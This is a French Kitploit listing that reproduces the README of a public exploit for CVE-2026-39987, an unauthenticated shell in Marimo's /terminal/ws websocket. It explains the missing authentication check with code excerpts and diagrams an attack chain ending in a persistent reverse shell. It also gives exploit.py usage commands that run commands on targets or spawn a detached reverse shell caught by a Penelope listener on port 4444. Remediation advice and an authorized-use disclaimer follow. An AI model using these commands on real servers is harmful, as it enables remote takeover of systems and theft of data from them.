Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-39987 — Exploit Marimo antérieur à la version 0.23.0. Vulnérabilité RCE pré-authentification via le point de terminaison websocket : /terminal/ws. | Kitploit
Outils/GitHubGitHub/gbuyssens/cve-2026-39987
Génération de PayloadsExploitationExploitation d'Applications WebPost-ExploitationTests d'IntrusionOutil d'Accès à Distance
GitHubgbuyssens/cve-2026-39987

CVE-2026-39987

Exploit Marimo antérieur à la version 0.23.0. Vulnérabilité RCE pré-authentification via le point de terminaison websocket : /terminal/ws.

Voir le dépôt
il y a 18 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-39987 — Marimo RCE pré-authentification (/terminal/ws)

root@kitploit:~
CVSS 4.0 : 9.3 CRITICAL
CVSS 3.x : 9.8 CRITICAL
CWE      : CWE-306 (Missing Authentication for Critical Function)
Fix      : Marimo 0.23.0+
Affects  : Marimo <= 0.20.4 (all builds prior to the auth fix)

Exécution de code à distance avant authentification dans Marimo, un serveur de notebooks Python réactif.
Une seule connexion WebSocket non authentifiée vers /terminal/ws fournit un shell PTY interactif complet avec les droits de l'utilisateur exécutant le processus Marimo (souvent root dans Docker).

Uniquement pour laboratoire / tests autorisés (HTB, CTF, engagement avec périmètre écrit).


Table des matières

  • Résumé de la vulnérabilité
  • Cause racine
  • Chaîne d'attaque
  • Versions affectées
  • Ce dépôt
  • Installation
  • Utilisation
  • Intégration Penelope
  • Remédiation
  • Références

Résumé de la vulnérabilité

Marimo expose un terminal intégré via WebSocket à l'adresse :

root@kitploit:~
ws://<host>:<port>/terminal/ws
wss://<host>/terminal/ws

Les autres routes WebSocket (notamment /ws pour l'interface du notebook) appellent correctement validate_auth().
/terminal/ws ne le fait pas. Elle ne vérifie que :

  1. le serveur est en mode édition
  2. la plateforme prend en charge un PTY

puis immédiatement :

root@kitploit:~
await websocket.accept()
child_pid, fd = pty.fork()   # full system shell

Aucun cookie, jeton, mot de passe ou en-tête Authorization n'est requis — même lorsque l'authentification est activée sur l'instance.

Impact : exécution de commandes arbitraires sans authentification avec les privilèges du processus Marimo. Dans les images de conteneurs par défaut, il s'agit fréquemment de root.


Cause racine

Fichier (arborescence vulnérable) : marimo/_server/api/endpoints/terminal.py

root@kitploit:~
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    if app_state.mode != SessionMode.EDIT:
        await websocket.close(...)
        return
    if not supports_terminal():
        await websocket.close(...)
        return
    # <<< no validate_auth() / @requires("edit") >>>
    await websocket.accept()
    child_pid, fd = pty.fork()
    # ... bridge WebSocket <-> PTY ...

Comparez avec le WebSocket du notebook (ws_endpoint.py), qui impose bien l'authentification :

root@kitploit:~
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth():
    return

Chaîne d'attaque

root@kitploit:~
 Attacker                         Marimo (edit mode)
    |                                    |
    |  WS upgrade /terminal/ws           |
    |----------------------------------->|
    |  101 Switching Protocols           |
    |  (no auth challenge)               |
    |<-----------------------------------|
    |                                    |  pty.fork() → /bin/bash
    |  "id\n"                            |
    |----------------------------------->|
    |  uid=1000(marimo) ...              |
    |<-----------------------------------|
    |  persistent reverse shell          |
    |----------------------------------->|
    |         <======== TCP shell =======|
  1. Se connecter à ws(s)://target/terminal/ws sans identifiants
  2. Le serveur accepte et lance un shell adossé à un PTY
  3. Envoyer des frappes clavier (commandes) via le WebSocket
  4. Lancer éventuellement un reverse shell détaché qui survit à la fermeture du WS

Versions affectées

StatutVersions
VulnérableMarimo <= 0.20.4 (avant correctif)
CorrigéMarimo 0.23.0 et ultérieur

Tout déploiement exposant le terminal WebSocket (mode édition, PTY pris en charge) sans passerelle d'authentification externe est concerné.


Ce dépôt

FichierRôle
exploit.pyPoC : exécution de commandes + reverse shell persistant + lanceur Penelope
penelope.pyGestionnaire de shell autonome (brightio/penelope)

Installation

root@kitploit:~
git clone <this-repo> CVE-2026-39987
cd CVE-2026-39987
chmod +x exploit.py penelope.py

penelope.py ne nécessite aucune dépendance supplémentaire (bibliothèque standard Python 3.6+).


Utilisation

1. Exécution de commande en un coup

root@kitploit:~
python3 exploit.py https://example.lab "id"
python3 exploit.py https://example.lab  -p
python3 exploit.py wss://example.lab/terminal/ws "whoami"

Ce qui se passe :

  1. Un processus enfant forké attend brièvement, puis délivre un reverse shell détaché via /terminal/ws
  2. Le processus parent exécute Penelope sur 0.0.0.0:4444
  3. Lorsque le callback arrive, Penelope s'attache automatiquement et améliore la session

Si nécessaire

root@kitploit:~
python3 exploit.py -h

Intégration Penelope

Penelope est fourni sous forme de script autonome (penelope.py) :

  • aucune installation, bibliothèque standard uniquement
  • gestionnaire multi-sessions
  • mise à niveau TTY automatique
  • téléversement/téléchargement de fichiers, journalisation, etc.

Flux par défaut (-p) :

root@kitploit:~
exploit.py
   ├── fork child ──delay──► WS /terminal/ws ──► setsid/nohup revshell
   │
   └── exec ► penelope.py <PORT> -i 0.0.0.0
                    ▲
                    │ TCP callback
                    └── victim

Le processus enfant est utilisé à dessein : os.execv(penelope) remplace l'image du processus parent, ce qui tuerait un thread d'arrière-plan.

Penelope en manuel :

root@kitploit:~
python3 penelope.py 4444
python3 penelope.py 4444 -i 0.0.0.0
python3 penelope.py -a          # show sample payloads for active listeners

Remédiation

  1. Mettre à niveau vers Marimo >= 0.23.0 (pip install -U marimo)
  2. Ne pas exposer les serveurs de notebooks en mode édition sur l'Internet public
  3. Placer l'authentification/authz au niveau d'un reverse proxy si l'application doit être accessible à distance
  4. Se limiter à localhost / réseau privé ; utiliser un VPN ou des tunnels SSH
  5. Après une suspicion d'exploitation : procédez à la rotation des identifiants accessibles depuis l'hôte (clés cloud, .env, clés SSH), auditez les connexions sortantes et la persistance

Références

  • NVD — CVE-2026-39987
  • GHSA-2679-6mx9-h9xc
  • Marimo fix PR #9098
  • Resecurity analysis
  • Penelope shell handler

Avertissement

Ce projet est destiné uniquement aux tests de sécurité autorisés, à l'éducation et à la recherche défensive.
Vous êtes responsable du respect des lois applicables et des règles d'engagement de votre laboratoire ou client.

Télécharger l’outil
README.md
Ce fichier